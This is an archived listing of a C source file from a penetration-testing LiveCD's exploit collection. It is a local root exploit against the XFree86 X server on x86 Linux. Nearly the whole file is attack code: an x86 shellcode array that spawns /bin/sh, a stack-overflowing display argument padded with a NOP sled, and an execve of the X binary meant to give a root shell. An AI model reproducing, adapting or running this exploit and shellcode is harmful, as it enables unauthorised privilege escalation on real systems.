home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / x3.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  34 lines

  1. /*  XFree86 Server exploit for Intel x86 Tested on Linux 2.0.29 & 2.0.33
  2. **
  3. */ Try 2 3 4 5 for OFFSET
  4.  
  5. #define OFFSET 2
  6. #include <string.h>
  7. #include <unistd.h>
  8. #include <errno.h>
  9. #define LENCODE ( sizeof( Code ) )
  10.  
  11. char Code[] =
  12.     "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
  13.     "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
  14.     "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
  15.     "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
  16.     "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";
  17.  
  18. char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
  19. char *args[] = { "X", "-nolock", Display, NULL };
  20.  
  21. main()
  22. {
  23.   printf("You have now RooT shell");
  24.   dup2( 0, 10 );
  25.   dup2( 1, 11 );
  26.   dup2( 2, 12 );
  27.   __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
  28.   memcpy( ptr + 4, ptr, 0x3fc );
  29.   memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
  30.   memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
  31.   execve( "/usr/X11R6/bin/X", args, args + 3 );
  32.   perror( "execve" );
  33. }
  34. /*                    www.hack.co.za              [2000]*/